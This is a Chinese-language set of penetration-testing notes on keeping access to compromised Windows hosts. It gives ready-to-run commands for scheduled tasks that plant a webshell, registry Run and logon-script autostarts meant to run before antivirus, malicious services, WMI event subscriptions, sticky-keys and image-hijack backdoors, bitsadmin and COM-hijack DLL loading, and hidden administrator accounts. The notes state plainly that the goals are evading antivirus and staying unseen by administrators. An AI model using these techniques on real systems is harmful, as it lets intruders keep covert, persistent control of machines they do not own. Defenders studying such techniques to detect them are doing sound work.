为什么一定要维持权限?因为在准备内网渗透的时候,外网拿过来的shell来之不易。
如果因为对方关机了,或者一些其他的意外事件发生导致你这个shell掉了的话,那么不仅会拖垮时间,
有的Payload可能不一定会成功,或者某些步骤没做好,导致管理员在安全设备中发现了某些你的蛛丝马迹
那么就完蛋了。。。
维持权限的方法很多,但是好用的不多
工具
SchTask_0x727
https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html
SchTask.exe C:\Windows\System32\cmd.exe 1
原理是使用计划任务的WINDOWS API来bypass 杀软并进行持久化
比较好用的
1、计划任务维权(好用)
At 适用于windows xp/2003,Schtasks适用于win7/2008或者以后
图形化界面的操作很简单
1)任务计划程序
2)创建基本任务
3)选择恶意脚本
Windows使用SCHTASKS 命令执行定时任务
https://blog.csdn.net/qq_39680564/article/details/88993633
命令行:
1、我们可以写免杀webshell可能会更方便些,这样只要Web服务器不关闭那么久可以一直维持住权限,这里的时间可以设置的长一点。
schtasks /create /sc minute /mo 5 /tn "sd" /tr "C:\Windows\System32\cmd.exe /c copy E\111.txt E:\123\111.php"
测试成功,但是会cmd弹框,比较明显,建议时间拉长
每两分钟执行一次shellcode,直到某个时间结束,不再执行,重启依旧可以成功执行
schtasks /create /RU SYSTEM /sc minute /mo 2 /TN \Microsoft\Windows\evaltest /tr "C:\Windows\System32\calc.exe" /ED 2021/08/25
schtasks /End /Tn evaltest 停止计划任务
计划任务隐藏
https://paper.seebug.org/1464/
2、开机注册表自启动项(一般)
注册表相关启动项地方
用户级:
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
**
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
只需要新建一个字符串类型的键,然后把路径输进去即可
之后重启就会直接弹出cmd窗口,实现注册表自启动项
命令行—重启后执行恶意程序(需要完全管理员权限/system,否则提示拒绝)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “Keyname” /t REG_SZ /d “C:\Windows\System32\calc.exe” /f 确认可以使用成功
4、Logon Scripts(一般)
Logon Scripts优先于av先执行,我们可以利用这一点来绕过av的敏感操作拦截
命令行:
reg add HKEY_CURRENT_USER\Environment /v “UserInitMprLogonScript “ /t REG_SZ /d “C:\Users\ice\Desktop\cmd.exe” /f 确认可以成功使用(会被杀软拦截)适用于把杀软干掉后的场景
注册表路径为:HKEY_CURRENT_USER\Environment
,创建一个键为:UserInitMprLogonScript
,其键值为我们要启动的程序路径
5、开机启动程序(简单)
move cmd2.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\cmd2.exe"
或者
move cmd2.exe "C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
需要一定的权限,否则提示拒绝访问,经过测试在高权限下,重启成功维权
6、设置开机自启动服务(要权限够大)
sc create “server config” binpath= “C:\Users\Administrator\Desktop\artifact.exe”
sc description “server config” “description” 设置服务的描述字符串
sc config “server config” start= auto 设置这个服务为自动启动
net start “server config” 启动服务
如果出现如下报错,代表存在一些问题,需要换别的方式来进行维权(要进行一些配置,比较麻烦)
7、Wmi事件维持系统权限
Wmic权限维持是15年的badhat usa提出的无文件权限维持的一种技术
按顺序进行输入
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer",ExecutablePath="C:\Users\ice\Desktop\cmd4.exe",CommandLineTemplate="C:\Users\ice\Desktop\cmd4.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"",Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
重启后,等待一定时间,会被360直接杀掉。原因应该是调用的wmic组件,这个行为直接触发了360的行为。
可以直接使用autoruns进行删除
8、注册键
通过注册表进行权限维持
比较不好用的
1、shift 后门制作
(一般用在XP系统里)
很老了,现在不把它当做后门,但是我们在内网渗透的时候,可以尝试一下是否以前有hacker已经进来过,尝试下的按5次shift。
1)C:\Windows\System32\sethc.exe 删除掉(这个是shift的键)
2)找到C:\WINDOWS\system32\cmd.exe 复制,重命名并放回sethc.exe
3) copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
2、映像劫持
与shift后门差不多,但是更强大点,如果预先主机装了360之类的可能会无效
其就是在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
添加一个aaa.exe 然后在aaa.exe下添加一个键为debugger 为恶意程序的路路径xx/xx/bbb.exe,这样我们在启动aaa.exe的时候,就会顺带启动bbb.exe
打开笔记本的时候,就会直接打开Cmd.exe
3、利用bitsadmin(一般)
bitsadmin /create test2
bitsadmin /addfile test2 c:\windows\system32\calc.exe c:\users\ice\calc.exe
bitsadmin /SetNotifyCmdLine test2 cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test2
1、创建一个任务
2、将这个任务赋予真正的功能(下载)
3、当执行完这个任务可以给它赋予一个命令
4、将该任务长久激活
5、每次重启都会生效
6、测试成功
经过测试,杀软会拦截,但是权限限制相对比计划任务和启动项等低一些
btisadmin /list /allusers /verbose
只能通过该命令查看
还有其他的更麻烦的就不写了,感觉大部分攻防场景在这些就够用了,剩下的可能APT更需要些。
参考文章:
https://xz.aliyun.com/t/6461
https://www.cnblogs.com/klionsec/p/10297389.html
隐蔽
1、netsh
利用场景:
利用windows的白名单netshe来设置一个恶意dll,然后dll来进行一个上线。
例如某些EDR会拦截未签名的任何工具来进行执行,那么就可以利用netsh这种白名单程序来进行windows主机上线。
2、MSDAT
制作一个恶意DLL文件放置在目录下面,重启服务(重启系统)即可自动运行
3、劫持MruPidlList
在注册表位置为HKCU\Software\Classes\CLSID\下创建项{42aedc87-2188-41fd-b9a3-0c966feabec1},再创建一个子项InprocServer32,默认的键值为我们的dll路径,再创建一个键ThreadingModel,其键值:Apartment
该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是Windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发我们的dll文件
当用户重启时或者重新创建一个explorer.exe进程时,就会加载我们的恶意dll文件,从而达到后门持久化的效果。这里我们直接结束一个explorer.exe进程再起一个进程来看一下效果
其他
1、隐藏用户-影子账号(一般)
net user test$ test /add
net localgroup administrators test$ /add
但是这样后,在控制面板-管理-用户,注册表,都看得到
需要SYSTEM权限把这个地方的完全控制修改了,然后重新打开注册表,即可
https://www.cnblogs.com/s0ky1xd/p/5823985.html 导出注册表,重启失效
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
1)将3.reg的 F字段替换到2.reg
2)net user asd$ /del 删除掉隐藏账号
3)双击1.reg 和2.reg 导入
但是还是会显示存在,说明可以使用此账户登录,而此时控制面板是看不到这个账户的
但是服务器不能重启主机 重启后这个用户就可以看见了
或者简单的(可以一定程度隐藏一点点)
net user user$ Aa123456. /add
net localgroup administrators user$ /add
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v user$ /t REG_DWORD /d 0 /f
工具
https://mp.weixin.qq.com/s/05kOFtfYu8au0oHdP1zLAg
https://github.com/PDWR/3vilGu4rd